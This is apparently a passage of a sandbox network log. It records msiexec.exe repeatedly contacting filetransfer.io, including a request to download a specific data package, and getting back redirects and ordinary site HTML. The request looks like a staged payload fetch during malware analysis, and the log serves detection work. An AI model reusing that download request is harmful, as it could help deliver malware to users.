2025-01-10 19:14:16 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	57928	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:17 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:17 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: Gj8Ao8FcMKiTwE8ARQYbOygNGfQsb74MIpLxmYTtSgKmpebdly/9HNipK0I/uu2JzCER/tVpAoc= x-amz-request-id: SZ8CC8MBB1DXADJ4 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0cba1S7%2FmCTV4avoKc7WtlSRIYvDFXKcZ9qUYXDT6clPfv6ub7zBg2W0EFvCgeoFCkzcEv5GTqRKDUlJuqtGT0mkRW5MPQ4uuKCfGF1aKnEHklr%2BUVjyps2K%2FtG9hw6cpWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd399d435e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2148&min_rtt=2135&rtt_var=828&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1300668&cwnd=139&unsent_bytes=0&cid=24f8be4c5301440a&ts=222&x=0"
2025-01-10 19:14:17 UTC	425	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 Data Ascii: a charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descript
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c Data Ascii: ch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 Data Ascii: "><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="websi
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 Data Ascii: ing of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e Data Ascii: S.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sen
2025-01-10 19:14:17 UTC	1354	IN	Data Raw: 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a Data Ascii: tch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 32 61 32 37 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a27<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:17 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	57929	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:18 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:18 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:18 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:18 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m2XxweW%2B20ja2dEK78BrY0dh1v9W4bTY8FeyrHuZBhqT0C6vGBY9EznZo2U9wOhHKHczSmNAWH9yWT%2B%2BOrk8nrFr3n4gs%2FSICUEjpWCURQ%2Fyrc608EIp9MPu1EvQpWLaIZs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd3f1ddcc3f5-EWR
2025-01-10 19:14:18 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	57930	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:18 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:18 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: ZyAVXQsvGOfpve0weJRWHyUTCRIGjI1sWvo0JlhQrog3hTgpXOLuPhJCxZy1V8HB9IqgzayT4gY= x-amz-request-id: 68F4ZGGRBF71472M Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rORPkF329FE2zxVX8Xum2CERVQy5QILXCNeeXs6zCm1cuFle%2FMgDga%2F2uMlX6C5cCfMQxGYeE76gmcHGxG324CUmFhgTH%2BSrZmtIL5ZXTOeRKlfnMRzSsuvuCu28jdpQ%2FT4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd430dd74261-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=1996&rtt_var=769&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1404521&cwnd=239&unsent_bytes=0&cid=0d666cddf986396a&ts=206&x=0"
2025-01-10 19:14:18 UTC	423	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 Data Ascii: eta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descri
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a Data Ascii: ouch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 Data Ascii: ng"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="web
2025-01-10 19:14:18 UTC	1369	IN	Data Raw: 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 Data Ascii: nning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLea
